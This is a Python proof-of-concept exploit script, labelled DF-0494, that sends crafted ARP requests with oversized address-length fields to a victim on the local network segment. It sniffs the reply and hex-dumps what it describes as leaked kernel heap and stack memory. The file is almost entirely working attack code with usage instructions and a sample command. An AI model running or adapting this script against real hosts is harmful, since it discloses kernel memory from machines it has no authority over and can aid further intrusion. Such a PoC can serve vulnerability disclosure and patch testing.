DF-0494 / arp_heap_leak.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 | #!/usr/bin/env python3 """ DF-0494: ARP ar_hln/ar_pln kernel heap+stack memory disclosure PoC. Sends a crafted ARP REQUEST with an oversized ar_hln to a victim on the same L2 segment. The victim kernel copies ar_hln bytes from its 6-byte IF_LLADDR into the ARP reply SHA field, leaking ~ar_hln-6 bytes of adjacent kernel heap. The reply is transmitted to the attacker with the leaked bytes. Usage: sudo python3 arp_heap_leak.py <victim-ip> [<interface>] [--hln N] [--pln N] Requirements: - Python 3, scapy (pip install scapy) - Root (for raw socket) - Same L2 segment as victim Example: sudo python3 arp_heap_leak.py 192.168.1.10 eth0 --hln 200 """ import sys import struct import argparse try: from scapy.all import Ether, ARP, conf, srp1, get_if_hwaddr, get_if_addr except ImportError: print("[-] scapy not found. Install with: pip install scapy") sys.exit(1) def craft_oversized_arp(victim_ip, src_mac, ar_hln=200, ar_pln=4): """ Craft a raw ARP REQUEST with oversized ar_hln. Standard ARP for Ethernet/IPv4: ar_hln=6, ar_pln=4 Total ARP payload: 8 (header) + 2*6 + 2*4 = 28 bytes Oversized ARP with ar_hln=200, ar_pln=4: Total ARP payload: 8 + 2*200 + 2*4 = 416 bytes The victim will copy 200 bytes from IF_LLADDR (6 valid) into ar_sha of the reply, leaking 194 bytes of kernel heap. """ # Build the ARP packet manually with raw bytes ar_hrd = struct.pack("!H", 1) # ARPHRD_ETHER ar_pro = struct.pack("!H", 0x0800) # ETHERTYPE_IP ar_hln_byte = struct.pack("B", ar_hln) ar_pln_byte = struct.pack("B", ar_pln) ar_op = struct.pack("!H", 1) # ARPOP_REQUEST # SHA: attacker's MAC (padded to ar_hln) sha = src_mac + b'\x41' * (ar_hln - len(src_mac)) # SPA: attacker's IP (or any valid-looking IP, padded to ar_pln) import socket spa = socket.inet_aton("10.0.0.1")[:ar_pln].ljust(ar_pln, b'\x00') # THA: zeros (target hardware unknown), padded to ar_hln tha = b'\x00' * ar_hln # TPA: victim's IP (padded to ar_pln) tpa = socket.inet_aton(victim_ip)[:ar_pln].ljust(ar_pln, b'\x00') arp_payload = ar_hrd + ar_pro + ar_hln_byte + ar_pln_byte + ar_op arp_payload += sha + spa + tha + tpa return arp_payload def parse_arp_reply(raw_reply, ar_hln, ar_pln): """Parse the oversized ARP reply to extract leaked bytes.""" if raw_reply is None: return None # The ARP payload starts after the Ethernet header arp_data = raw_reply[14:] if len(raw_reply) > 14 else raw_reply if len(arp_data) < 8: return None # Parse header hrd, pro, hln, pln, op = struct.unpack("!HHBBH", arp_data[:8]) if op != 2: # ARPOP_REPLY print(f"[*] Not a reply (op={op}), ignoring") return None # Extract SHA (the leaked field) sha_offset = 8 sha_data = arp_data[sha_offset:sha_offset + hln] # The first 6 bytes should be the victim's real MAC # Bytes after that are leaked kernel heap real_mac = sha_data[:6] leaked_heap = sha_data[6:] # Extract SPA (stack leak variant if ar_pln was oversized) spa_offset = sha_offset + hln spa_data = arp_data[spa_offset:spa_offset + pln] real_spa = spa_data[:4] leaked_stack = spa_data[4:] return { 'real_mac': real_mac, 'leaked_heap': leaked_heap, 'leaked_stack': leaked_stack, 'raw_sha': sha_data, } def main(): parser = argparse.ArgumentParser( description="DF-0494: ARP ar_hln kernel heap leak PoC" ) parser.add_argument("victim_ip", help="Victim's IPv4 address") parser.add_argument("interface", nargs="?", default=None, help="Network interface (auto-detect if omitted)") parser.add_argument("--hln", type=int, default=200, help="ar_hln value (default 200, causes heap leak)") parser.add_argument("--pln", type=int, default=4, help="ar_pln value (default 4; set >4 for stack leak)") parser.add_argument("--count", type=int, default=1, help="Number of requests to send") args = parser.parse_args() if args.interface: iface = args.interface else: iface = conf.iface src_mac = bytes.fromhex(get_if_hwaddr(iface).replace(":", "")) print(f"[*] Interface: {iface}") print(f"[*] Source MAC: {src_mac.hex(':')}") print(f"[*] Victim IP: {args.victim_ip}") print(f"[*] ar_hln={args.hln}, ar_pln={args.pln}") print(f"[*] ARP payload size: {8 + 2*args.hln + 2*args.pln} bytes") print() for i in range(args.count): print(f"[*] Sending crafted ARP request #{i+1}...") arp_payload = craft_oversized_arp(args.victim_ip, src_mac, args.hln, args.pln) # Build Ethernet frame eth = Ether(dst="ff:ff:ff:ff:ff:ff", src=src_mac, type=0x0806) frame = bytes(eth) + arp_payload # Send and wait for reply from scapy.all import Raw, sendp, sniff import time # Use sendp + sniff for raw frames sendp(Raw(frame), iface=iface, verbose=0) # Sniff for reply replies = sniff(iface=iface, timeout=2, filter=f"arp and src host {args.victim_ip}", count=1) if replies: reply_raw = bytes(replies[0]) result = parse_arp_reply(reply_raw, args.hln, args.pln) if result: print(f"[+] Got ARP reply ({len(reply_raw)} bytes)") mac_str = ':'.join(f'{b:02x}' for b in result['real_mac']) print(f"[+] Victim MAC (first 6 bytes): {mac_str}") if result['leaked_heap']: print(f"[+] Leaked kernel heap ({len(result['leaked_heap'])} bytes):") hex_dump(result['leaked_heap']) if result['leaked_stack']: print(f"[+] Leaked kernel stack ({len(result['leaked_stack'])} bytes):") hex_dump(result['leaked_stack']) else: print(f"[-] Got reply but could not parse") else: print(f"[-] No reply (timeout)") if i < args.count - 1: time.sleep(0.5) print() def hex_dump(data, width=16): """Print a hex dump of data.""" for i in range(0, len(data), width): chunk = data[i:i+width] hex_part = ' '.join(f'{b:02x}' for b in chunk) ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) print(f" {i:04x}: {hex_part:<{width*3}} {ascii_part}") if __name__ == "__main__": main() |